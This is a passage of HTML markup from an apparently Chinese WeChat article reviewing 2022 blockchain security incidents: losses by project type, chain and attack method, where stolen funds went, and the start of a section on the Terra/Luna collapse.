style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 全球加密货币市场市值大幅缩水，年底 TVL 较年初高峰时期下降了约 80%。市场遭受重创，出现了以三箭资本、Luna、FTX 为代表的一系列黑天鹅事件。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0416666666666667" data-s="300,640" style="" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=d4b0110e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0kdXibvLEBqQxa8fKZOjLUqSlf8VyXziaHiaCvGZgN9rPya1FcTIvXZcKg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在全球市值大幅缩水的情况下，2022 年区块链安全领域总体犯罪数据仍然达到了 137 亿美元，攻击事件更是较 2021 年大幅增加。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年全球区块链安全态势总体十分严峻，对 2023 年的安全行业也提出了更高、更迫切的需求。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">如何应对猖獗的黑客攻击、如何加快建立全球监管体系、如何迎来技术突破解决已有的安全行业弊端，这些都将是 2023 年需要重点思考和迫切解决的问题。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">被攻击项目类型</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年，12 次跨链桥安全事件共造成了约 18.9 亿美元损失，居所有项目类型损失的第一位。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">跨链桥安全事件里，单次损失超过 1 亿美元的事件就发生了 5 起，分别是 Ronin（6.24 亿美元）、BSC Token Hub（5.6 亿美元）、Wormhole（3.26 亿美元）、Nomad（1.9 亿美元）和 Harmony（1 亿美元）事件，其攻击手法主要包括社会工程学、私钥泄露、链平台或合约漏洞等。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8391608391608392" data-s="300,640" style="" data-type="png" data-w="858" src="https://wechat2rss.xlab.app/img-proxy/?k=46d262a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0a8W11IO3r2FXcpmJia6L4WickTtk213j8MKriaHbkZbiboY7ic2mdzU03hg%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-align: justify;"> </span></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">全年 167 次主要攻击事件里，DeFi 类型项目被攻击了 113 次，约为 67.6%，是被攻击频次最高的项目类型。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">DeFi 是继跨链桥之后损失排名第二的项目类型，总计损失约 9.5 亿美元。全年共发生交易所、钱包安全事件共 21 起，共损失金额约 6 亿美元。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">此类事件涉及金额高、波及用户广，其攻击手法主要是私钥泄露、合约漏洞、供应链攻击。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 42px;"><em>3</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">各链损失</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"> </span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=55b31773&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0WVptJwpU4IbQuPmvkCNP9mLCloUG1osnGTbibfontjcWc9nQ6apNiaHw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><br/></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年共有 20 条公链发生过主要安全事件，按损失金额排名前三的分别是 Ethereum、BNB Chain、Solana；按攻击事件次数排名前三的分别是 BNB Chain、Ethereum、Solana。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">59 次 Ethereum 上的攻击事件造成了 20.1 亿美元的损失，占到了全年总损失的 55.8%。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8342989571263036" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=ced27d87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0xOpZT2uibRsG7kEibKmNVPCqvXYAL3yrtKic2HiaXFZZnojLiamcqAHmG2g%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><br/></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">BNB Chain 上的攻击事件达到了 72 次，70% 的项目损失金额集中在几千至几十万美元区间。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">值得注意的是，BNB Chain 上遭受攻击的项目约 64% 都未经审计，且未经审计的项目中攻击手法 80% 都是合约漏洞利用。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">7 次 Solana 链上的攻击事件共造成了 5 亿 1276 万美元的损失，单个事件平均损失居各链第一位。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Solana 链上的重大安全事件包括 2 月的 Wormhole 事件（3.26 亿美元）、3 月的 Cashio 事件（4800 万美元）和 10 月的 Mango Market 事件（1.16 亿美元）。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">4</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">攻击手法分析</span></section></section></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8ec476fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0IicXcnQxqUHBSaiaJykO0ibCicHc3PQpF8goSg0FyrocZjbdO2XY4SpTEg%2F640%3Fwx_fmt%3Dother"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">漏洞利用为全年频率最高、且损失最多的攻击方式。2022 年全年涉及漏洞利用的攻击事件有 87 起，总损失达到了 14.58 亿美元。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">损失金额排名第二的攻击方式为社会工程学，也就是 3 月的 Ronin 事件，损失金额达到了 6.24 亿美元。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=028f8d0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0wNZzZ9lP0NvC8kibcjvDdfmfa4ySnyFbfXdUBHetkGZUkNqH3vBQ9Gw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">损失金额排名第三的攻击方式为私钥泄露，19 次私钥泄露共造成损失约 4.3 亿美元，其中有 8 起事件单次损失金额都在 1000 万美元以上。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">根据部分事件的调查结果来看，团队成员/前成员盗取私钥的情况频发，项目方需要格外注意运营安全，加强团队管理。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">还有部分因使用第三方工具导致私钥泄露的情况。按照漏洞类型细分，造成损失最多的前三名分别是验证问题、链平台漏洞（BNB Chain 事件）和业务逻辑/函数设计不当。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">18 次验证问题造成了 6.19 亿美元的损失，主要事件包括：Wormhole 事件中的签名验证漏洞、Nomad bridge 事件中的消息验证绕过等。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.465625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=987e04ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0xmGY7YF6zNTicY5THJDpC5hazz077WuPum7MdklK2IGSjItHG8VYUyQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width: 60px;background-color: rgb(254, 254, 254);margin-top: -8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: rgb(0, 0, 0);font-size: 42px;" data-original-title="" title="">5</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">被盗资金流向</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-align: justify;"> </span></section></section></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a5db831f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0xYSxk4MzvVbp4pRAicTgguOCoPQGTjDszDbLSXmRQgks80ibMmwEdxgw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=73d87ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0PbS0op7A21PQTSXlDyBpZCaGLt37paqbuIEKOETOs1G0VxPpEuLFEw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年约有 13.96 亿美元的被盗资金转入了 Tornado Cash，占所有攻击事件损失资金的 38.7%。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">自 8 月 Tornado Cash 受到美国 OFAC 制裁后，转入 Tornado Cash 的资金较上半年大幅下降。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">第四季度仅有 4485 万美元的资金转入了 Tornado Cash。全年约有 2.89 亿美元的被盗资金得以追回，仅占所有损失的 8%。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">其中绝大部分来自白帽黑客主动返还。约有 1824.8 万美元的被盗资金流入了各类交易所。通常一些涉案金额较少的黑客会在攻击后立刻将资金转入交易所。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">对交易所而言，能在攻击发生的及时识别黑客地址并阻止其交易尤为重要。约有 4.43 亿美元的被盗资金被交易所冻结，其主要金额来源于 10 月的 BNB Chain 事件，当时币安立即冻结了黑客 80% 至 90% 的资金，实际损失在 1 亿美元左右。</span></section><h1 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);text-indent: 0pt;white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><br mpa-from-tpl="t"/></span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第八章    2022年度加密行业十大事件</strong></span></p></h2></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">Terra崩盘</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Terra的崩盘可以说是2022年甚至整个行业有史以来最恶劣的事件之一。Terra曾在全币圈红遍一时，跻身十大加密资产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">它的崩盘使得许多投资者血本无归，也为本来已踏入熊市的加密货币市场雪上加霜。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">创立于2018年，Terra是透过「稳定币」UST 和「治理代币」Luna 的双币机制而建立的支付区块链。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在2022年初，Terra的创办人Do Kwan推出了名为Anchor的协议：只要将UST存进去，就可以获得20％的年化收益。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">因此LUNA吸引了很多投资者，其去中心化的特点也获得了币圈的宠爱。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Anchor协议推出后，市面上多数的UST都被存进协议上，在UST崩盘前，有将近75％的UST（多达14B）都是存在Anchor协议上，许多投资者甚至抵押其他加密货币资产借UST去赚取20%的年化收益。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">因为UST的需求越来越庞大，LUNA的价格也随着攀升突破100美元。在顶峰时期，UST发行量超过150亿，成为币圈最大的去中心化算法稳定币。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在2022年5月，Terra在curve里面的UST资金池因为有用户大幅抛售而失去了平衡，UST因此脱锚，价格一路下降。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica 